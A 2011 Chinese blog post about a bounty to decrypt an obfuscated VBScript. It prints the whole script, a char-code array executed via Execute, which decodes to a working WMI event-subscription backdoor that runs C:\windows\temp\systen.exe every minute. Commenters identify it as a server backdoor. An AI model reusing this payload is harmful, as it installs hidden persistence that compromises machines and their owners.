价值50大洋的VBS脚本

标题: 价值50大洋的VBS脚本
作者: Demon
链接: https://demon.tw/programming/vbs-50-rmb.html
版权: 本博客的所有文章，都遵守“署名-非商业性使用-相同方式共享 2.5 中国大陆”协议条款。

有人悬赏50大洋解密这个 VBS 脚本：

strs=array(13,83,69,84,32,87,115,104,83,104,101,108,108,61,87,115,99,114,105,112,116,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,83,69,84,32,87,115,104,83,121,115,69,110,118,61,87,115,104,83,104,101,108,108,46,69,110,118,105,114,111,110,109,101,110,116,40,34,80,114,111,99,101,115,115,34,41,32,13,10,115,121,115,100,105,114,32,61,32,87,115,104,83,121,115,69,110,118,46,73,116,101,109,40,34,83,89,83,84,69,77,82,79,79,84,34,41,32,13,10,115,121,115,100,105,114,50,32,61,32,109,105,100,40,115,121,115,100,105,114,44,49,44,51,41,13,10,110,115,108,105,110,107,61,34,119,105,110,109,103,109,116,115,58,92,92,46,92,114,111,111,116,92,115,117,98,115,99,114,105,112,116,105,111,110,58,34,13,10,100,111,111,114,110,97,109,101,61,34,109,115,111,101,99,106,34,13,10,114,117,110,105,110,116,101,114,118,97,108,32,61,32,54,48,48,48,48,13,10,115,116,120,116,61,34,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,34,41,58,111,98,106,83,104,101,108,108,46,82,117,110,32,34,34,67,58,92,92,119,105,110,100,111,119,115,92,92,116,101,109,112,92,92,115,121,115,116,101,110,46,101,120,101,34,34,34,13,10,83,69,84,32,97,115,101,99,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,65,99,116,105,118,101,83,99,114,105,112,116,69,118,101,110,116,67,111,110,115,117,109,101,114,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,97,115,101,99,46,110,97,109,101,61,99,111,110,115,117,109,101,114,95,100,111,108,13,10,97,115,101,99,46,115,99,114,105,112,116,105,110,103,101,110,103,105,110,101,61,34,118,98,115,99,114,105,112,116,34,13,10,97,115,101,99,46,115,99,114,105,112,116,116,101,120,116,61,115,116,120,116,13,10,83,69,84,32,97,115,101,99,112,97,116,104,61,97,115,101,99,46,112,117,116,95,13,10,83,69,84,32,105,116,105,109,101,114,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,95,95,73,110,116,101,114,118,97,108,84,105,109,101,114,73,110,115,116,114,117,99,116,105,111,110,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,105,116,105,109,101,114,46,116,105,109,101,114,105,100,61,100,111,111,114,110,97,109,101,38,34,95,105,116,105,109,101,114,34,13,10,105,116,105,109,101,114,46,105,110,116,101,114,118,97,108,98,101,116,119,101,101,110,101,118,101,110,116,115,61,114,117,110,105,110,116,101,114,118,97,108,13,10,105,116,105,109,101,114,46,115,107,105,112,105,102,112,97,115,115,101,100,61,102,97,108,115,101,13,10,105,116,105,109,101,114,46,112,117,116,95,13,10,83,69,84,32,101,118,116,102,108,116,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,95,95,69,118,101,110,116,70,105,108,116,101,114,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,101,118,116,102,108,116,46,110,97,109,101,61,102,105,108,116,101,114,95,103,102,108,13,10,101,118,116,102,108,116,46,113,117,101,114,121,61,34,115,101,108,101,99,116,32,42,32,102,114,111,109,32,95,95,116,105,109,101,114,101,118,101,110,116,32,119,104,101,114,101,32,116,105,109,101,114,105,100,61,34,34,34,38,100,111,111,114,110,97,109,101,38,34,95,105,116,105,109,101,114,34,34,34,13,10,101,118,116,102,108,116,46,113,117,101,114,121,108,97,110,103,117,97,103,101,61,34,119,113,108,34,13,10,83,69,84,32,102,108,116,112,97,116,104,61,101,118,116,102,108,116,46,112,117,116,95,13,10,83,69,84,32,102,99,98,110,100,61,103,101,116,111,98,106,101,99,116,40,110,115,108,105,110,107,38,34,95,95,70,105,108,116,101,114,84,111,67,111,110,115,117,109,101,114,66,105,110,100,105,110,103,34,41,46,115,112,97,119,110,105,110,115,116,97,110,99,101,95,13,10,102,99,98,110,100,46,99,111,110,115,117,109,101,114,61,97,115,101,99,112,97,116,104,46,112,97,116,104,13,10,102,99,98,110,100,46,102,105,108,116,101,114,61,102,108,116,112,97,116,104,46,112,97,116,104,13,10,102,99,98,110,100,46,112,117,116,95,13,10)
for i=1 to UBound(strs)
    runner=runner&chr(strs(i))
next
Execute runner

真是钱多了没处花，且不说这种加密一点技术含量也没有，就算是有技术含量的加密，也只能骗骗菜鸟罢了。解密后发现，这个程序大可不必加密，因为就算不加密，能看得懂的人也不多。

赞赏

微信赞赏支付宝赞赏

随机文章:

  1. Windows 10 LTSC 2019 KMS激活
  2. C语言中NULL和NUL的区别
  3. VB6拾遗：调用C函数（__cdecl调用约定）
  4. VBS Scripting.Dictionary字典对象按键名Key进行冒泡排序
  5. VC编写在Windows 7下需要管理员权限的程序

这篇文章发布于 2011年05月17日，星期二，15:46，归类于 程序设计。 您可以跟踪这篇文章的评论通过 RSS 2.0 feed。 您可以留下评论，或者从您的站点trackback。

4 条评论 发表在“价值50大洋的VBS脚本”上

  1. RandomOS说道：
    2011年05月20日 21:02

    50大洋！有钱淫~~

    回复
  2. 雨中风铃说道：
    2011年05月25日 17:20

    这个后门的作用是每隔一分钟运行一次C:\windows\temp\systen.exe。代码出自“菠萝的菠萝格”的博客http://hi.baidu.com/war3apollo，08年的老文章了，当时被鬼仔’s Blog和www.pcsec.org转载，很多服务器都装上了这样的后门。本文的代码直接调用root\subscription名称空间的ActiveScriptEventConsumer，应该是安装在win2003服务器上的。

    回复
  3. wakaka说道：
    2011年06月5日 01:12

    看到EXECUTE就没有解密的冲动了

    回复
  4. findnew说道：
    2011年10月15日 07:21

    明明是zzzevazzz大侠2004年的《深入挖掘Windows技术》

    回复

留下回复